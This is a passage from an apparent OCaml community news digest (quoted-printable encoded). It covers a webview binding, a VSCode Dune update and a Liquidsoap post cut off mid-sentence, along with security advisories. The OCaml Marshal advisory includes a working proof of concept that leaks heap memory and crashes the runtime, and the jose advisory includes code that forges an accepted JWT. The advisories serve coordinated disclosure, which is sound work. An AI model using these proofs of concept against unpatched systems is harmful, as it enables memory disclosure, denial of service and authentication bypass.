[webview] [solution for your OCaml GUIs.] Native dependencies =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2= =95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95= =8C=E2=95=8C=E2=95=8C The system web engine, and nothing else: =E2=80=A2 *macOS* =E2=80=94 WebKit / Cocoa, already part of the system. N= othing to install. =E2=80=A2 *Linux* =E2=80=94 `gtk+-3.0' and `webkit2gtk-4.1', pulled in by= the `conf-gtk3-webkit' opam package (published alongside this release), so `opam install' resolves the depexts for your distribution. =E2=80=A2 *Windows* =E2=80=94 the WebView2 runtime ships with Windows 10 = and 11; the SDK headers are located through the NuGet cache at build time (`nuget install Microsoft.Web.WebView2'). The webview header itself is *vendored*, so nothing is fetched at build time, and the platform compile/link flags are detected by a `dune-configurator' script. Examples =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C The repository ships several runnable examples: =E2=94=8C=E2=94=80=E2=94=80=E2=94=80=E2=94=80 =E2=94=82 dune exec examples/hellowv/hellowv.exe # bindings, ass= ets, Dock icon =E2=94=82 dune exec examples/timer/timer_posix.exe # threads + dis= patch =E2=94=82 dune exec examples/timer/timer_lwt.exe # the same, dri= ven by Lwt =E2=94=82 dune exec examples/d3/d3.exe # a D3.js chart =E2=94=82 dune exec examples/three/three.exe # WebGL via thr= ee.js =E2=94=82 dune exec examples/js_of_ocaml/hellowv.exe # frontend writ= ten in OCaml too =E2=94=94=E2=94=80=E2=94=80=E2=94=80=E2=94=80 The last one is worth a look if you like the idea of one language end to end: the page's logic is written with [Brr] and compiled by `js_of_ocaml', so both sides of the bridge are OCaml. [Brr] Tutorial =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C There is a six-step [tutorial] that builds up from a first window to a full application: on-disk assets, the JS =E2=86=94 OCaml bridge, an asynchronous backend with Lwt, a 100% OCaml frontend, and the platform details of application icons. [tutorial] Design notes =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2= =95=8C=E2=95=8C=E2=95=8C=E2=95=8C This is a *thin* binding, deliberately. It stays close to the C API and leaves higher-level conveniences to the caller =E2=80=94 in particula= r, binding arguments and results are exchanged as JSON *text*, and choosing a JSON library is up to you. Feedback wanted, especially on Linux =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2= =95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95= =8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C= =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2= =95=8C=E2=95=8C=E2=95=8C Owebview has been tested on *macOS*, *Windows*, *Fedora*, *Ubuntu*. Reports about building and running it on others Linux distributions would be particularly valuable: does it compile, do the depexts resolve, does the `webkit2gtk-4.1' backend behave as expected on your distro, and how does the Dock icon story go on your desktop environment? Windows reports are welcome too. If you are interested in this library, please email me at my address frederic.ln.lang@gmail.com. =E2=80=A2 *Repository* =E2=80=94 =E2=80=A2 *Documentation* =E2=80=94 =E2=80=A2 *Issues* =E2=80=94 =E2=80=A2 *License* =E2=80=94 MIT Special thanks to @Chimrod for his contribution in this release. Happy hacking! OSEC-2026-18: Marshal integer overflow leads to out-of-heap read =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95= =90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90= =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95= =90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90= =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90 Hannes Mehnert announced =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80 Dear everyone, a new advisory was published for the OCaml runtime. Below is the advisory, you can as well find it at and Best, Hannes =E2=94=8C=E2=94=80=E2=94=80=E2=94=80=E2=94=80 =E2=94=82 id: OSEC-2026-18 =E2=94=82 modified: "2026-09-10T10:00:00Z" =E2=94=82 published: "2026-09-10T10:00:00Z" =E2=94=82 severity: "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N" =E2=94=82 severity_score: "6.8" =E2=94=82 affected: "ocaml" {< "5.5.1"} =E2=94=82 events: [ =E2=94=82 [ =E2=94=82 git "https://github.com/ocaml/ocaml" [ =E2=94=82 [fixed "928e7c8a950db8730e8e84105d3be347cae38f5c"] =E2=94=82 ] =E2=94=82 ] =E2=94=82 [ =E2=94=82 git "https://github.com/ocaml/ocaml" [ =E2=94=82 [fixed "304654884d0c90b2e4ab673ff88caef38b05c714"] =E2=94=82 ] =E2=94=82 ] =E2=94=82 [ =E2=94=82 git "https://github.com/ocaml/ocaml" [ =E2=94=82 [fixed "428288660cc1f655605347e09e2fbc0b0a404660"] =E2=94=82 ] =E2=94=82 ] =E2=94=82 ] =E2=94=82 credits: [ =E2=94=82 [reporter "Akshay M Singh"] =E2=94=82 [remediation_developer "Xavier Leroy"] =E2=94=82 [remediation_reviewer "Nicol=C3=A1s Ojeda B=C3=A4r"] =E2=94=82 [remediation_reviewer "Antonin D=C3=A9cimo"] =E2=94=82 [coordinator "Hannes Mehnert"] =E2=94=82 ] =E2=94=82 cwe: [ CWE-190 CWE-125 ] =E2=94=82 aliases: [ CVE-2026-28364 ] =E2=94=82 references: [ =E2=94=82 [fix "https://github.com/ocaml/ocaml/pull/15019"] =E2=94=82 [fix "https://github.com/ocaml/ocaml/pull/15030"] =E2=94=82 ] =E2=94=82 related: [ OSEC-2026-01 ] =E2=94=94=E2=94=80=E2=94=80=E2=94=80=E2=94=80 Marshal integer overflow leads to out-of-heap read =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2= =95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95= =8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C= =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2= =95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95= =8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C An integer overflow in the length-validation logic of OCaml's Marshal deserializer allows a crafted serialized object to bypass all bounds checks added by the CVE-2026-28364 fix, producing **heap out-of-bounds reads** from `Marshal.from_bytes' / `Marshal.from_string' (and the C API `caml_input_value_from_block'). Root cause =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2= =95=8C=E2=95=8C `runtime/intern.c' validates declared data length against the input buffer with unsigned 64-bit addition that can wrap: =E2=94=8C=E2=94=80=E2=94=80=E2=94=80=E2=94=80 =E2=94=82 /* caml_input_val_from_bytes, intern.c:1038 */ =E2=94=82 if (ofs + h.header_len + h.data_len > caml_string_length(str)) =E2=94=82 caml_failwith("input_val_from_string: bad length"); =E2=94=94=E2=94=80=E2=94=80=E2=94=80=E2=94=80 `h.data_len' is fully attacker-controlled (8-byte field read straight from the stream for `Intext_magic_number_big'). With `data_len >=3D 2^64 - (ofs + h.header_len)', the sum wraps to a small value and the check passes. The CVE-2026-28364 fix introduced: =E2=94=8C=E2=94=80=E2=94=80=E2=94=80=E2=94=80 =E2=94=82 /* intern.c:1043 (added by the fix) */ =E2=94=82 s->intern_src_end =3D s->intern_src + h.data_len; /* wraps to= a pointer=20 =E2=94=82 BEFORE the buffer */ =E2=94=94=E2=94=80=E2=94=80=E2=94=80=E2=94=80 `intern_src_end' wraps to a location *before* `intern_src', so every `intern_check_read()' bound added by the fix (`len > end - src' with a negative diff promoted to a huge `uintnat') evaluates *false* for any realistic length. The parser (`intern_rec') then honors attacker-controlled read lengths (`readblock' up to `Max_wosize' bytes) against memory far beyond the input buffer. The OCaml-side wrapper validation in `stdlib/marshal.ml' is bypassed by the same wrap, via `caml_marshal_data_size' (intern.c:1116-1150): =E2=94=8C=E2=94=80=E2=94=80=E2=94=80=E2=94=80 =E2=94=82 return Val_long((header_len - 16) + data_len); /* wraps to 0 = / negative */ =E2=94=94=E2=94=80=E2=94=80=E2=94=80=E2=94=80 `Marshal.from_bytes' (marshal.ml:55-62) calls `data_size_unsafe' first, gets a wrapped `len' (0 or negative), and its re-check `ofs > Bytes.length buff - (header_size + len)' passes. The same unchecked wrap exists in `caml_input_value_from_buffer' (intern.c:1080), used by the public C API `caml_input_value_from_block' and `caml_input_value_from_malloc' - these have no OCaml-side validation at all. Exploit path =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2= =95=8C=E2=95=8C=E2=95=8C=E2=95=8C 1. Craft 32-byte header: `Intext_magic_number_big' + 4 padding bytes + `data_len =3D 2^64 - 16' + `num_objects =3D 0' + `whsize =3D 0'. 2. Append a valid object code byte stream (e.g., a "small string" code `0x3F' =3D 31 bytes, or `CODE_STRING32' with an arbitrary length). 3. Call `Marshal.from_bytes buf 0' (or `Marshal.from_string'). 4. `data_size_unsafe' returns 0; OCaml-side check passes. 5. C-side check `0 + 32 + (2^64-16) =3D 16 > len' passes (wrapped). 6. `intern_src_end' wraps to `buf + 16'; all `intern_check_read' pass. 7. `intern_rec' executes `readblock(s, dest, len)' with attacker-chosen `len', `memcpy'-ing heap memory past the buffer end into the returned string (info leak), or a huge `len' (SIGBUS/SIGSEGV, DoS). Proof of concept =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2= =95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C Tested on: macOS arm64, OCaml 5.5.0 (Homebrew), `ocamlopt'. =E2=97=8A 1. Heap information disclosure (clean, no crash) =E2=94=8C=E2=94=80=E2=94=80=E2=94=80=E2=94=80 =E2=94=82 let () =3D =E2=94=82 let buf =3D Bytes.create 40 in =E2=94=82 Bytes.set buf 0 (Char.chr 0x84); Bytes.set buf 1 (Char.chr 0= x95); =E2=94=82 Bytes.set buf 2 (Char.chr 0xa6); Bytes.set buf 3 (Char.chr 0= xbf); =E2=94=82 for i =3D 4 to 7 do Bytes.set buf i '\000' done; =E2=94=82 for i =3D 8 to 15 do Bytes.set buf i '\xff' done; =E2=94=82 Bytes.set buf 15 (Char.chr 0xf0); (* data_len =3D 2= ^64 - 16 *) =E2=94=82 for i =3D 16 to 31 do Bytes.set buf i '\000' done; (* num_o= bjects =3D whsize =3D 0 *) =E2=94=82 Bytes.set buf 32 (Char.chr 0x3f); (* small string, = len 31 *) =E2=94=82 for i =3D 33 to 39 do Bytes.set buf i 'A' done; (* only = 7 real bytes follow *) =E2=94=82 let s : string =3D Marshal.from_bytes buf 0 in =E2=94=82 Printf.printf "len=3D%d content=3D%S\n" (String.length s) s =E2=94=94=E2=94=80=E2=94=80=E2=94=80=E2=94=80 Output (24 bytes past the 40-byte buffer leaked into the returned string): =E2=94=8C=E2=94=80=E2=94=80=E2=94=80=E2=94=80 =E2=94=82 len=3D31=20 =E2=94=82 content=3D"AAAAAAA\000\000\000\000\000\000\007\000\b\000\000\00= 0\000\000\000\152\018\001\003\001\000\000\000" =E2=94=94=E2=94=80=E2=94=80=E2=94=80=E2=94=80 =E2=97=8A 2. Denial of service (crash) Same header; stream byte 32 =3D `0x0A' (`CODE_STRING32'), big-endian `0x40000000' (1 GB) length, 37-byte buffer: =E2=94=8C=E2=94=80=E2=94=80=E2=94=80=E2=94=80 =E2=94=82 $ ./crash; echo "exit=3D$?" =E2=94=82 exit=3D138 (128 + SIGBUS) =E2=94=94=E2=94=80=E2=94=80=E2=94=80=E2=94=80 Timeline =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C =E2=80=A2 2026-08-15: report to security@ocaml.org =E2=80=A2 2026-08-25: patch developed =E2=80=A2 2026-09-03: patch merged into trunk, 5.5, and 4.14 branches =E2=80=A2 2026-09-05: release of OCaml 5.5.1 =E2=80=A2 2026-09-10: advisory published OSEC-2026-19: JOSE missing RSA signature verification =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95= =90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90= =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95= =90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90= =E2=95=90=E2=95=90=E2=95=90 Hannes Mehnert announced =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80 Dear everyone, a new advisory was published for the jose package. Below is the advisory, you can as well find it at and Best, Hannes =E2=94=8C=E2=94=80=E2=94=80=E2=94=80=E2=94=80 =E2=94=82 id: OSEC-2026-19 =E2=94=82 modified: "2026-09-10T10:00:00Z" =E2=94=82 published: "2026-09-10T10:00:00Z" =E2=94=82 severity: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N" =E2=94=82 severity_score: "9.1 (Critical)" =E2=94=82 affected: "jose" {< "0.11.0"} =E2=94=82 events: [ =E2=94=82 [ =E2=94=82 git "https://github.com/ulrikstrid/ocaml-jose" [ =E2=94=82 [fixed "cf17d991ec6a0d1997956b6c7799890f9c28879e"] =E2=94=82 ] =E2=94=82 ] =E2=94=82 ] =E2=94=82 credits: [ =E2=94=82 [reporter "Sergey Zhukaev"] =E2=94=82 [coordinator "Hannes Mehnert"] =E2=94=82 [coordinator "Konstantin Olkhovskiy"] =E2=94=82 [remediation_developer "Ulrik Strid"] =E2=94=82 ] =E2=94=82 cwe: [ CWE-347 ] =E2=94=94=E2=94=80=E2=94=80=E2=94=80=E2=94=80 JOSE: missing RSA signature verification =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2= =95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95= =8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C= =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2= =95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C The opam package "jose" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key. Reproduction =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2= =95=8C=E2=95=8C=E2=95=8C=E2=95=8C With jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature: =E2=94=8C=E2=94=80=E2=94=80=E2=94=80=E2=94=80 =E2=94=82 let () =3D Mirage_crypto_rng_unix.use_default () =E2=94=82=20 =E2=94=82 let key =3D =E2=94=82 Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:= 2048 ()) =E2=94=82=20 =E2=94=82 let sign sub =3D =E2=94=82 Jose.Jwt.sign key ~payload:(`Assoc [ ("sub", `String sub) ]) =E2=94=82 |> Result.get_ok |> Jose.Jwt.to_string =E2=94=82=20 =E2=94=82 let seg n token =3D List.nth (String.split_on_char '.' token) n =E2=94=82=20 =E2=94=82 let alice =3D sign "alice" and admin =3D sign "admin" =E2=94=82=20 =E2=94=82 (* alice's header and signature, admin's payload *) =E2=94=82 let forged =3D String.concat "." [ seg 0 alice; seg 1 admin; se= g 2 alice ] =E2=94=82=20 =E2=94=82 match =E2=94=82 Jose.Jwt.unsafe_of_string forged =E2=94=82 |> Result.get_ok =E2=94=82 |> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key)=20 =E2=94=82 ~now:(Ptime_clock.now ()) =E2=94=82 with =E2=94=82 | Ok t -> =E2=94=82 print_endline =E2=94=82 ("accepted, sub =3D " ^ Option.get (Jose.Jwt.get_string_= claim t "sub")) =E2=94=82 | Error _ -> print_endline "rejected" =E2=94=94=E2=94=80=E2=94=80=E2=94=80=E2=94=80 The dune file: =E2=94=8C=E2=94=80=E2=94=80=E2=94=80=E2=94=80 =E2=94=82 (executable (name repro) =E2=94=82 (libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.c= lock.os)) =E2=94=94=E2=94=80=E2=94=80=E2=94=80=E2=94=80 This prints "accepted, sub =3D admin". Workaround =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2= =95=8C=E2=95=8C There is no workaround known. Timeline =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C =E2=80=A2 2026-08-25: private report via email to the authors of jose =E2=80=A2 2026-08-25: fix published to repository =E2=80=A2 2026-08-31: mail escalated to security@ocaml.org =E2=80=A2 2026-09-04: released jose 0.11.0 =E2=80=A2 2026-09-10: published advisory OSEC-2026-20: Cstruct indexing bugs can corrupt filtered output and reverse= parsing results =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95= =90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90= =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95= =90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90= =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95= =90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90= =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90 Hannes Mehnert announced =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80 Dear everyone, a new advisory was published for the cstruct package. Below is the advisory, you can as well find it at and Best, Hannes =E2=94=8C=E2=94=80=E2=94=80=E2=94=80=E2=94=80 =E2=94=82 id: OSEC-2026-20 =E2=94=82 modified: "2026-09-10T10:00:00Z" =E2=94=82 published: "2026-09-10T10:00:00Z" =E2=94=82 severity: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L" =E2=94=82 severity_score: "7.3 (High)" =E2=94=82 affected: "cstruct" {< "6.3.0"} =E2=94=82 events: [ =E2=94=82 [ =E2=94=82 git "https://github.com/mirage/ocaml-cstruct" [ =E2=94=82 [fixed "936f1010d3e9914da9c5c8a4739e9278a37e1c3e"] =E2=94=82 ] =E2=94=82 ] =E2=94=82 ] =E2=94=82 credits: [ =E2=94=82 [reporter "Anil Madhavapeddy"] =E2=94=82 [remediation_reviewer "Thomas Gazagnaire"] =E2=94=82 [remediation_developer "Anil Madhavapeddy"] =E2=94=82 ] =E2=94=82 references: [ =E2=94=82 [fix "https://github.com/mirage/ocaml-cstruct/pull/324"] =E2=94=82 ] =E2=94=82 cwe: [ CWE-682 ] =E2=94=82 affected_bindings: [ "Cstruct.filter_map" "Cstruct.tail" "Cstru= ct.cuts"=20 =E2=94=82 "Cstruct.find" "Cstruct.find_rev" ] =E2=94=94=E2=94=80=E2=94=80=E2=94=80=E2=94=80 Cstruct indexing bugs can corrupt filtered output and reverse parsing resul= ts =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2= =95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95= =8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C= =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2= =95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95= =8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C= =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2= =95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95= =8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C= =E2=95=8C=E2=95=8C Several functions in cstruct may use wrong data, leading to unexpected exceptions and return corrupted data. Impact =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C =E2=80=A2 `Cstruct.filter_map' writes retained bytes at their original in= put positions, producing corrupted output when earlier bytes are dropped. =E2=80=A2 `Cstruct.tail ~rev:true' removes two bytes instead of one and r= aises an exception for single-byte views. =E2=80=A2 `Cstruct.cuts ~rev:true' may compare input against the wrong da= ta, split at incorrect positions, and construct results using offsets outside the requested view. =E2=80=A2 `Cstruct.find' and `Cstruct.find_sub ~rev:true' may return slic= es from the wrong location when operating on non-zero-offset views. These are a set of logical indexing and bounds-calculation errors (CWE-682), and not direct memory-safety vulnerabilities. However, affected operations may return corrupted data, raise an unexpected exception, split input incorrectly, or return bytes outside the requested Cstruct view but still within its backing buffer. In security-sensitive parsers, this could cause validation bypasses, denial of service, or unintended disclosure of adjacent buffer contents. Workarounds =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2= =95=8C=E2=95=8C=E2=95=8C Users unable to upgrade cstruct should backport the corresponding source changes. There is no configuration-based mitigation since these are buggy library calls. References =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2= =95=8C=E2=95=8C Discovered via [Scrutineer] and Deepseek GLM-5.3 Flash running locally. [Scrutineer] Timeline =E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C=E2=95=8C =E2=80=A2 2026-09-04: reported via GitHub to ocaml/security-advisories repository =E2=80=A2 2026-09-05: reported via email to security@ocaml.org =E2=80=A2 2026-09-05: patch proposed and reviewed =E2=80=A2 2026-09-05: release cstruct 6.3.0 =E2=80=A2 2026-09-10: published advisory Dune Package Management Support in VSCode =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95= =90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90= =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90 Archive: PizieDust announced =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80 We are happy to announce improvements to the OCaml VSCode Extension relating to Dune Package Management (DPM). This update includes several bug fixes and quality-of-life improvements. In this new update: to activate DPM as a sandbox: =E2=80=A2 First, select "Dune Package Management" from the sandbox list. =E2=80=A2 Then a list of dune binaries installed on your computer is disp= layed to you. Once you select a dune binary, DPM becomes activated for your project. DPM initializes `ocaml-lsp-server' for you in the background once it is activated and the extension has helpful suggestions, such as asking you to "lock" your project if you haven't enabled DPM yet. (Enabling DPM can be done either in the `dune-workspace' file, or by running `dune pkg lock'). Once both are done, things work nicely. /Notes:/ =E2=80=A2 /Other features supported by opam sandboxes such as listing installed dependencies, upgrading and uninstalling packages are not yet supported for DPM./ =E2=80=A2 /If you run dune in watch mode or you run a long-lasting dune command, then DPM on VSCode will not work reliably as the dune build directory will be locked until the currently running process terminates./ You can see more about the changes we have done on the [project board]. This work was achieved by [Pixie Dust], [Tim=C3=A9o Arnouts], [Ulysse Gerard], [Sonja Heinze], [Shon Feder], [Ali Caglayan], and [Sudha Parimala]. [project board] [Pixie Dust] [Tim=C3=A9o Arnouts] [Ulysse Gerard] [Sonja Heinze] [Shon Feder] [Ali Caglayan] [Sudha Parimala] Liquidsoap 2.5.x: a practical study of OCaml 5.x concurrency =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95= =90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90= =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95= =90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90= =E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2=95=90=E2= =95=90=E2=95=90 Archive: Romain Beauxis announced =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2= =94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94= =80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80 [Full disclosure: some of the code and content linked below was done with the help of automated tools. This post is not.] After a few years holding off on it, it was finally time to do the migration to OCaml 5 for the liquidsoap project! The excellent work done to [tame OCaml 5 GC pacing] gave us confidence that our memory issues should be in the past now. The main motivation, for us, is a rather unconventional (I believe) way to use effects: to collect globally the result of local operations happening while liquidsoap scripts are executed. This is detailed [here]. Once the switch to OCaml 5 was done, it was time to measure the benefits! The particular standpoint of liquidsoap is that it does both I/O- and CPU-intensive processing: I/O for networking and on-disk operations and CPU for media encoding and decoding. So this was a good opportunity to test both sides! The [first blog post] has a lot of details on this topic including how we were finally able to [lift our scheduler] (named duppy) to take full advantage of its event loop. A decade after the initial design (which is very similar to node/libev), it was nice to see it finally be confirmed [for I/O workflows]. For CPU-bound workflow, however, the initial experiments were focused on very heavy video processing, where media computations, mostly done outside of 